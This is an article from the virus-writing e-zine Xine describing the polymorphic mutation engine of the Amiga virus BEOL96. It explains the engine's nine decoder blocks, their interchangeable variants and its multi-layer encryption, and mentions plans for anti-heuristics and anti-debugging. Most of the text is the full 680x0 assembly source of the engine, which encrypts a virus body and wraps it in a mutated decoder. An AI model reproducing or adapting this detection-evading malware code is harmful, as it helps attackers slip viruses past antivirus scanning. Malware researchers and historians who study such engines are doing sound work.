
                                        /-----------------------------\
                                        | Xine - issue #2 - Phile 031 |
                                        \-----------------------------/

==============================================================================
                   The Mutation Engine used in BEOL96
                   ==================================

Welcome to the best mutation engine ever written for Amiga computers!
(I think it's even the best one for 680x0 in general!)

It still lacks some features, a good mutation engine should have:
    * Insertion of dummy-instruction. (2 different types: Instructions
      not changing anything and instructions changing unused registers)
      This shouldn't be hard to implement.
    * More than just 4 variations per block. Easy.
    * Mixing independant blocks or independant instructions. This would
      need a complete redesign.
    * Anti-heuristics and Anti-debugging.
    * Eliminate the statik movem.l d0-a6,-(a7)
    * More than just 3 encodings per layer
    * More types of encodings
    * More than just 4 layers

Anyway I think this one is a good start, expect more to come!


How it works
------------
The decoder consitst of 9 Blocks:

Block1: Load Address of coded Data in AddressRegister #3
Block2: Load length of coded Data in DataRegister #2
Block3: Load ExecBase in A6
Block4: Decode Byte pointed to by AddressRegister #3 (add, sub or rol)
Block5: Like Block5 but using eor, nop or rol
Block6: Like Block5
Block7: add 1 to AddressRegister #3
Block8: decrease DataRegister #2 and jump to 1st decoder if >0
Block9: call CacheClearU()

The blocks are affected with these dependencies:
#1, #2 and #3 are independent
#4, #5 and #6 may only occur after #1 and #2
#7 may only occur after #4, #5, #6
#8 may only occur after #7
#9 may only occur after #3 and #8

For each block there are 4 different variations. e.g. block #7:
    1. addq.w #1,addressregister #3
    2. pea (addressregister #3)
       addq.l #1,(a7)
       move.l (a7)+,addressregister #3
    3. moveq #1,dataregister #3                     ;(d3 is a dummy register)
       add.w d3,addressregister #3
    4. move.b (addressregister #3)+,dataregister #3 ;(d3 is a dummy register)


Implementation
--------------

 * Get a random word to encode the 1st word of the second hunk.
 * Disable multitasking, because the data used by the polymorphic engine
   will be manipulated.
 * Get number of encryption-layers
 * For each encryption-layer:
    * Modify data to use correct size
    * Make a table with 6 data and 6 address registers
    * Clear Label (meaning that no Looplabel was set)
    * Write Blocks until all blocks are written
    * Resolve forward reference (lea codeddata(pc),a0)
    * increase len of virus
    * encode virus
    * copy decoder in front of virus
    * remove temporary data from stack
 * Adjust viruslen to longword size
 * Add HUNK_CODE structure & movem.l d0-a6,-(a7) in front of virus


Remarks
-------
 * In the decoder, there are to references:
   One backward reference in Block #8 (jump to decoding loop) which will be
   resolved during the creation of the decoder. (The position of the loop
   beginning is remembered when the 1st decoding block occurs, so the
   correct offset can easily be computed in Block #8).

   One forward reference in Block #1 which can only be resolved _after_ the
   complete decoder has been created. For this purpose, the position of
   the forward reference will be remembered.








Source
------


;This is the sourcecode for the Mutation Engine including a little testroutine.
;tabsize = 8

TestProggy:
	move.l	4.w,a6
.l2	lea	Test2+viruslen+12(pc),a1
	lea	end(pc),a0
	move.w	#viruslen-1,d5
	bsr.w	Poly
	jsr	-636(a6)
	bsr.w	Test2+8
	btst	#6,$bfe001
	bne.b	.l2
	rts
MMOC:	movem.l	d0-d7/a0-a6,-(a7)
HUNK_END	=	1010
HUNK_CODE	=	1001
_LVOForbid	=	-132
_LVOPermit	=	-138


***************************************************************************
* Data needed by the polymorphic routine. This is a kind of very simple   *
* 'Programming Language': It consitsts of Opcodes followed by Parameters. *
* There's no kind of Programmflow-control, so you won't be able to do	  *
* anything useful with it ;)						  *
***************************************************************************
;Opcodes (allways bytes):
;	$00=END
;	$01=WORD with register in bits 9-11
;	    after opcode follow the regno. & the word
;	$02=WORD with register in bits 0-3
;	    after opcode follow the regno. & the word
;	$03=WORD with register in bits 0-3 and 9-11
;	    after opcode follow the 2 regno.s & the word
;	$04=constant WORD (wich follows the opcode)
;	$05=constant LONG (wich follows the opcode)
;	$06=WORD constant (which follows the opcode)+random word
;	$07=-rand word
;	    NOTE: automatically calls a END!!!
;	$08=EXT.Ws the rand and call a $06 command
;	$09=register in bits 4-7 random byte to bits 0-8
;	    NOTE: automatically calls a END!!!
;	$0a=Offset to Loop
;	$0b=cut rand to 1-8
;	$0c=WORD with register in bits 0-3 and random in bits 9-11
;	    NOTE: automatically calls a END!!!
;	$0d=Marks Loop beginnning
;	$0e=offset to coded part (WORD)
;	$0f=offset to coded part (WORD)+ rand
;	    NOTE: automatically calls $0b
;	$10=offset to coded part (WORD)- rand
;	    NOTE: automatically calls $0b
;	$11=Decoder. After the opcode follows register, then follows
;	    the offset of the encode-subroutine (sounds much more
;	    complicated than it actually is!
;	    I'm just too stupid and too lazy to explain it...)
;	    This command automatically makes a END, so there is no
;	    need of a $00 command after a $11 command!
;	$12=Like $11,but Without encoding Opcode
;Registers:
;	Allways bytes, 0-5 represent d0-d5, 6-11 represent a0-a5
;
;Used regs:	d0(00) d1(01)
;		d2(02)=virlen-1
;		d3(03)
;		a0(06) a1(07) a2(08)
;		a3(09)=ptr to coded
*******************************************************************
*	                   Create the decoder			  *
*******************************************************************
DoEOR:	eor.b	d2,d0
	rts
DoSUB:	sub.b	d2,d0
	rts
DoROR:	ror.b	#3,d0
	rts
DoADD:	add.b	d2,d0
DoRTS:	rts
;maxlen=6
DEC:	dc.b	%11000	;needs lea coded(pc),a3 & move.w #virlen-1,d2
	dc.b	DEC2-DEC-1,DEC3-DEC-1,DEC5-DEC-1,DEC3-DEC-1
DECALT:	dc.b	%11000	;needs lea coded(pc),a3 & move.w #virlen-1,d2
	dc.b	DEC1-DECALT-1,DEC4-DECALT-1,DEC5-DECALT-1,DEC5-DECALT-1

DEC1:	dc.b	$11,$0a,DoEOR-*-1		;eor,eor
DEC2:	dc.b	$11,$06,DoSUB-*-1		;add,sub
DEC3:	dc.b	$11,$04,DoADD-*-1		;sub,add
DEC4:	dc.b	$0d,$12,DoRTS-*-1		;Nothing
DEC5:	dc.b	$0d,$03,$03,$09,$10,$10		;move.b (a3),d3
	dc.b	$02,$03,$e7,$18			;rol.b #3,d3
	dc.b	$03,$09,$03,$10,$80		;move.b	d3,(a3)
	dc.b	$12,DoROR-*-1
*******************************************************************
*	      Create a lea Coded(pc),ax equivalent code		  *
*******************************************************************
;maxlen=6
C2AX:	dc.b	0
	dc.b	C2AX1-C2AX-1,C2AX2-C2AX-1,C2AX3-C2AX-1,C2AX4-C2AX-1
;Version 1: lea Coded(pc),ax
C2AX1:	dc.b	$01,$09,$41,$fa			;lea $xxxx(pc),a3
	dc.b	$0e				;offset
	dc.b	$00
;Version 3: lea Coded+%xxx(pc),ax subq.l #%xxx,ax
C2AX3:	dc.b	$01,$09,$41,$fa			;lea $xxxx(pc),a3
	dc.b	$0f				;offset+rand
	dc.b	$0c,$09,$51,$88			;subq.l #rand,a3
;Version 4: lea Coded-%xxx(pc),ax addq.l #%xxx,ax
C2AX4:	dc.b	$01,$09,$41,$fa			;lea $xxxx(pc),a3
	dc.b	$10				;offset-rand
	dc.b	$0c,$09,$50,$88			;addq.l #rand,a3
;Version 2: pea Coded(pc) move.w (a7)+,ax
C2AX2:	dc.b	$04,$48,$7a			;pea $xxxx(pc)
	dc.b	$0e				;offset
	dc.b	$01,$09,$20,$5f			;movea.l (a7)+,a3
;Remark: FALL THRU!!
*******************************************************************
*	    Create a move.w #virlen-1,dx equivalent code	  *
*******************************************************************
;maxlen=8
L2DX:	dc.b	0
	dc.b	L2DX1-L2DX-1,L2DX2-L2DX-1,L2DX3-L2DX-1,L2DX4-L2DX-1
;Version 1: lea virlen-1.w,ax move.w ax,dx
L2DX1:	dc.b	$01,$08,$41,$f8			;lea $xxxx.w,a2
	dc.b	$04
LEN1:	dc.b	0,0				;virlen-1
	dc.b	$03,$02,$08,$20,$08		;move.w a2,d2
	dc.b	0
;Version 2: pea virlen-1.w move.w (a7)+,dx
L2DX2:	dc.b	$05,$48,$78
LEN2:	dc.b	0,0				;pea virlen-1.w
	dc.b	$01,$02,$20,$1f			;move.l (a7)+,d2
	dc.b	0
;Version 3: move.w #virlen+%xxx.w,dx subq #%xxx,dx
L2DX3:	dc.b	$01,$02,$30,$3c			;move.w #$xxxx,d2
	dc.b	$0b				;cut rand
	dc.b	$06
LEN3:	dc.b	0,0				;virlen-1+rand
	dc.b	$0c,$02,$51,$40			;subq #rand,d2
;Version 4: move.w #virlen+$xxxx.w,dx add.w #-$xxxx,dx
L2DX4:	dc.b	$01,$02,$30,$3c			;move.w	#$xxxx,d2
	dc.b	$06
LEN4:	dc.b	0,0				;virlen-1-rand
	dc.b	$02,$02,$06,$40			;add.w #$xxxx,d2
	dc.b	$07				;-rand.w

BlockT:	dc.b	DEC-BlockT,DECALT-BlockT,DECALT-BlockT
	dc.b	C2AX-BlockT,L2DX-BlockT,ADDAX-BlockT
	dc.b	EXEC2A6-BlockT,LOOP-BlockT
	dc.b	JCC-BlockT


*******************************************************************
*	    Create a addq.w #1,a3 equivalent code		  *
*******************************************************************
;maxlen=6
ADDAX:	dc.b	%00000111	;need the 3 encoders
	dc.b	ADDAX1-ADDAX-1,ADDAX2-ADDAX-1,ADDAX3-ADDAX-1,ADDAX4-ADDAX-1
ADDAX1:	dc.b	$02,$09,$52,$48			;addq.w #1,a3
	dc.b	0
ADDAX2:	dc.b	$02,$09,$48,$50			;pea (a3)
	dc.b	$04,$52,$97			;addq.l #1,(a7)
	dc.b	$01,$09,$20,$5f			;move.l (a7)+,a3
	dc.b	0
ADDAX3:	dc.b	$01,$03,$70,$01			;moveq #1,d3
	dc.b	$03,$09,$03,$d0,$c0		;add.w d3,a3
	dc.b	0
ADDAX4:	dc.b	$03,$03,$09,$10,$18		;move.b (a3)+,d3
	dc.b	0


*******************************************************************
*	    Create a dbf d0,loop equivalent code		  *
*******************************************************************
;maxlen=10
LOOP:	dc.b	%00100111		;need the 3 encoders
	dc.b	LOOP1-LOOP-1,LOOP2-LOOP-1,LOOP3-LOOP-1,LOOP3-LOOP-1
LOOP1:	dc.b	$02,$02,$51,$c8,$0a	;dbf d0,loop
LOOP2:	dc.b	$02,$02,$53,$40		;subq.w	#1,d2
	dc.b	$04,$6a,$00,$0a		;bpl.w loop
LOOP3:	dc.b	$02,$02,$4a,$40		;tst.w d2
	dc.b	$04,$67,$06		;beq.b exit
	dc.b	$02,$02,$53,$40		;subq.w	#1,d2
	dc.b	$04,$60,$00,$0a		;bra.w loop
*******************************************************************
*	       Create a jsr -636(a6) equivalent code		  *
*******************************************************************
;maxlen=8
JCC:	dc.b	%11000000	;needs move.l 4.w,a6 & decoder
	dc.b	JCC1-JCC-1,JCC2-JCC-1,JCC3-JCC-1,JCC4-JCC-1
;Version 1: pea *+6 jmp -636(a6)
JCC1:	dc.b	$05,$48,$7a,$00,$06		;pea *+6
	dc.b	$05,$4e,$ee,$fd,$84		;jmp -636(a6)
	dc.b	0
;Version 2: lea -636+$yyyy(a6),ax jsr -$yyyy(ax)
JCC2:	dc.b	$01,$07,$41,$ee			;lea $xxxx(a6),a1
	dc.b	$06,$fd,$84			; -636+rand.w
	dc.b	$02,$07,$4e,$a8			;jsr $xxxx(a1)
	dc.b	$07				; -rand.w
;Version 3: move.w #-636+$yy,dx jsr -$yy(a6,dx.w)
JCC3:	dc.b	$01,$01,$30,$3c			;move.w #$xxxx,d1
	dc.b	$08,$fd,$84			; -636+rand.b
	dc.b	$04,$4e,$b6			;jsr $xx(a6,dx.w)
	dc.b	$09,$01				;register=d1 offset=-rand.b
;Version 4:
JCC4:	dc.b	$05,$4e,$ae,$fd,$84		;jsr -636(a6)
;Remark: FALL THRU!!!
*******************************************************************
*	       Create a move.l 4.w,a6 equivalent code		  *
*******************************************************************
;maxlen=8
EXEC2A6:	dc.b	0
		dc.b	EXEC2A61-EXEC2A6-1,EXEC2A62-EXEC2A6-1
		dc.b	EXEC2A63-EXEC2A6-1,EXEC2A64-EXEC2A6-1
;Version 1: move.l 4.w,a6
EXEC2A61:	dc.b	$05,$2c,$78,$00,$04	;move.l $0004.w,a6
		dc.b	0
;Version 2: moveq #$4,dx move.l dx,ay move.l (ay),a6
EXEC2A62:	dc.b	$01,$00,$70,$04		;moveq #$04,d0
		dc.b	$03,$06,$00,$20,$40	;movea.l d0,a0
		dc.b	$02,$06,$2c,$50		;move.l (a0),a6
		dc.b	0
;Version 3: move.l 4.w,dx move.l dx,a6
EXEC2A63:	dc.b	$01,$00,$20,$38		;move.l $xxxx.w,d0
		dc.b	$04,$00,$04		;4.w
		dc.b	$02,$00,$2c,$40		;movea.l d0,a6
		dc.b	0
;Version 4: lea (4+rand).w,ax move.l (-rand,ax),a6
EXEC2A64:	dc.b	$01,$06,$41,$f8		;lea $xxxx.w,a0
		dc.b	$06,$00,$04		;4.w+rand
		dc.b	$02,$06,$2c,$68		;move.l $xxxx(a0),a6
		dc.b	$07			;-rand.w
	even

*************************************************************************
* Poly: Creates the HUNK_CODE of the Virus. This routine encodes the	*
*	virus and makes a polymorphic decoder. This is repeated up to 4	*
*	times, and then the HUNK_CODE and HUNK_END is added.		*
* Input: d5.w=VirusLen-1						*
*	 a0  =Pointer to _END_ of Virus					*
*	 a1  =Pointer to Buffer+VirusLen+12				*
* Output: d2.w= Random encoding value					*
*	  d5.l=len of HUNK_CODE/4					*
* Destroys: /								*
* Remark: Buffer must be at least VLen+4*MaxDecoderSize+12 bytes large	*
* Remark2: Most of this code is much older than the rest of the virus,  *
*	   so maybe it doesn't fit very well... but who cares???	*
*************************************************************************
NumBlocks	=	9
MaxDecoderSize	=	64
Rand:	move.b	$dff007,d0
	eor.b	d0,d7
	rol.w	#7,d7
	move.w	d7,d0
	rts
RandByte:
	bsr.b	Rand
	lsr.w	#8,d0
	rts
Poly:
	movem.l	d0/d1/d3/d4/d6/d7/a0-a6,-(a7)
	bsr.b	Rand
	move.w	d0,(eor1st+2-end,a0)	;to decode 1st word of 2nd hunk
	move.l	d0,-(a7)
	jsr	(_LVOForbid,a6)
;Mark virlen in the code
	bsr.b	RandByte
	lsr.b	#6,d0
	move.w	d0,d4		;Between 1 and 4 decoders
.bigloop:
	move.w	d5,d1
	lsr.w	#8,d1		;HiByte
	bsr.b	.lente
.lent	dc.w	LEN1-.lent,LEN2-LEN1-2,LEN3-LEN2-2,LEN4-LEN3-2
.lente
	moveq	#4-1,d2		;Here we modify the commands, in order
	move.l	(a7),a3		;to create the right move.w #codedlen,d0
	move.l	(a7)+,a2	;statement!
.lenl	add.w	(a2)+,a3
	move.b	d1,(a3)+
	move.b	d5,(a3)+
	dbf	d2,.lenl
;First we create a table with 6 data and 6 address registers...
	link	a2,#-12-18-8-100
				;Make space (12 for the regs
				;+18 for the decoders + 8 for references
				;+100 for temporary space
	move.l	a7,a5		;Space for decoder data
	lea	18(a5),a4
.regl	moveq	#-64,d1		;we don't want a6 and a7 to be used!
	moveq	#6-1,d3		;Get the 6 regs
.tryag	bsr.b	Rand
	lsr.b	#5,d0
	bset	d0,d1		;Set and test
	bne.b	.tryag		;we have this one allready....
	move.b	d0,-(a2)	;write register to tab
	dbf	d3,.tryag
	addq.w	#1,d2		;if d2 was -1, it was the 1st time
	beq.b	.regl

	clr.l	-8(a2)		;LoopLabelPos

	moveq	#0,d6		;no block written
.bl	bsr.b	Rand
	move.w	d0,d2		;Random number=>d2
	asr.w	#2,d2		;Scale down a bit!

	bsr.b	RandByte
	lsr.b	#4,d0
	move.w	d0,d1
	subq.w	#NumBlocks-1,d1
	bgt.b	.bl

	lea	BlockT(pc),a3
	move.b	NumBlocks-1(a3,d1.w),d1
	ext.w	d1
	add.w	d1,a3		;Pointer to Code for Block
	move.b	d6,d3
	and.b	(a3),d3
	cmp.b	(a3)+,d3	;All needed blocks allready written????
	bne.b	.bl
	bset	d0,d6		;Set Blockbit
	bne.b	.bl		;Allready written=>loop
	bsr.w	RandByte
	lsr.b	#6,d0
	move.b	(a3,d0.w),d0	;One of 4 variants
	add.w	d0,a3

	bsr.b	DoComm		;DoIT

	move.w	d6,d0
	lsl.w	#7,d0		;test bit nr.8
	bpl.b	.bl

	move.l	-(a2),a3	;ForwardRef
	move.l	a4,d0
	sub.l	a3,d0
	add.w	d0,(a3)		;Correct it

	move.l	a4,d1		;begin of decoder
	sub.l	a5,d1		;d1=len of decoder
	add.w	d1,a1		;ptr to end of virus
	move.l	a1,a3		;ptr to end of virus
	move.l	d5,d6
	add.w	d1,d5		;Increase len
.cl1	move.b	-(a0),d0	;get next byte
	moveq	#3-1,d3		;3 encoders
.cl2	move.w	-(a5),d2	;encoder data
	move.l	-(a5),a2	;encoder routine
	jsr	(a2)		;encode byte
	dbf	d3,.cl2
	lea	18(a5),a5	;first encoder
	move.b	d0,-(a3)	;store coded byte
	dbf	d6,.cl1
	subq.w	#1,d1
.cl3	move.b	-(a4),-(a3)	;copy decoder
	dbf	d1,.cl3
	move.l	a1,a0
	lea	12+18+8+100+4(a7),a7	;get rid of the regs
	dbf	d4,.bigloop
	jsr	(_LVOPermit,a6)
	addq.w	#3+4,d5		;len of virus+4+2
	lsr.w	#2,d5		;len of virus>>2
	bcs.b	.lenok
	addq.w	#2,a1		;longwordalign
.lenok	lea	HUNK_END.w,a2
	move.l	a2,(a1)
	move.l	MMOC(pc),-(a3)
	ext.l	d5
	move.l	d5,-(a3)	;HUNKLEN
	subq.w	#8,a2
	subq.w	#HUNK_END-HUNK_CODE-8,a2
	move.l	a2,-(a3)
	move.l	(a7)+,d2
	movem.l	(a7)+,d0/d1/d3/d4/d6/d7/a0-a6
	rts			;DONE!

DoComm:
.comml:	move.b	(a3)+,d0	;get opcode
	ext.w	d0
	move.b	CommT(pc,d0.w),d0
	ext.w	d0
	jsr	CommT(pc,d0.w)
	bra.b	.comml


DOLOOP:
	move.l	-8(a2),d0	;LoopLabelPos
	sub.l	a4,d0
	move.w	d0,(a4)+
	bra.b	EndComm

RAND18:	and.w	#%111,d2
	addq.w	#1,d2		;from 1-8
	rts

OFFSET:	moveq	#0,d0
	bra.b	DOOFF
OFFMR:	bsr.b	RAND18
	move.w	d2,d0
	neg.w	d0
	bra.b	DOOFF
OFFPR:	bsr.b	RAND18
	move.w	d2,d0
DOOFF:	move.l	a4,-4(a2)	;ForwardRef
	move.w	d0,(a4)+
	rts

REG4:	bsr.b	GetReg
	lsl.b	#4,d1
	move.b	d1,(a4)+
	move.b	d2,(a4)
	neg.b	(a4)+
;**** FALL THRU TO ENDCOMM! ****
EndComm:
	addq.l	#4,a7		;because we did a jsr
	rts

WORD9:	bsr.b	GetReg
	ror.w	#7,d1		;to bits 9-11
WORD9C:	bsr.b	GetWord
	or	d0,d1
	move.w	d1,(a4)+
	rts

WORD0:	bsr.b	GetReg
	bra.b	WORD9C
WORD9_0:
	bsr.b	GetReg
	ror.w	#7,d1
	move.w	d1,d0
	bsr.b	GetReg
	or	d0,d1
	bra.b	WORD9C

CommT:	dc.b	EndComm-CommT,WORD9-CommT,WORD0-CommT,WORD9_0-CommT
	dc.b	WORDOP-CommT,LONGOP-CommT,WRAND-CommT,MRAND-CommT
	dc.b	EXTRAND-CommT,REG4-CommT,DOLOOP-CommT,RAND18-CommT
	dc.b	QUICK-CommT,LABELPOS-CommT,OFFSET-CommT,OFFPR-CommT
	dc.b	OFFMR-CommT,DECODER-CommT,DECODER2-CommT
	even

LONGOP:	move.b	(a3)+,(a4)+
	move.b	(a3)+,(a4)+
WORDOP:	move.b	(a3)+,(a4)+	;It could lie on an odd address
	move.b	(a3)+,(a4)+
	rts


EXTRAND:
	asr.b	#1,d2		;to exclude the $80 case
	ext.w	d2
WRAND:	bsr.b	GetWord
	add.w	d2,d0
	move.w	d0,(a4)+
	rts
MRAND:	move.w	d2,(a4)
	neg.w	(a4)+
GoEnd:	bra.b	EndComm
QUICK:	bsr.b	GetReg
	bsr.b	GetWord
	move.w	d0,(a4)
	lsl.w	#5,d2		;Kill bit nr.3
	lsr.w	#4,d2		;Move to right pos
	or.b	d2,(a4)+
	or.b	d1,(a4)+
	bra.b	EndComm

GetReg:	moveq	#0,d1
	move.b	(a3)+,d1
	move.b	(a2,d1.w),d1
	rts
GetWord:
	move.b	(a3)+,d0
	lsl.w	#8,d0
	move.b	(a3)+,d0
	rts

LABELPOS:
	tst.l	-8(a2)		;LoopLabelPos
	bne.b	NOTFIRST
	move.l	a4,-8(a2)	;LoopLabelPos
NOTFIRST:
	rts
DECODER:
	bsr.b	LABELPOS
	move.b	(a3)+,d0
	move.b	d0,(a4)+
	move.b	9(a2),(a4)	;register A3
	bset	#4,(a4)+	;length=.b <ea>=data register direct
D2NOK:	not.b	d2
	beq.b	D2NOK
	move.w	d2,(a4)+
DECODER2:
	move.b	(a3)+,d1
	ext.w	d1
	pea	(a3,d1.w)
	move.l	(a7)+,(a5)+
	move.w	d2,(a5)+
	bra.b	GoEnd




Test:
	move.w	#100,d0
.tl	move.w	#$f00,$dff180		;flash
	dbf	d0,.tl
eor1st	eor.w	#$0000,d0		;decode 1st word of 2nd hunk
	movem.l	(a7)+,d0-d7/a0-a6
	rts
viruslen	=	2000
end=Test+viruslen
	blk.b	2000
Test2:	blk.b	2000
	blk.b	2000
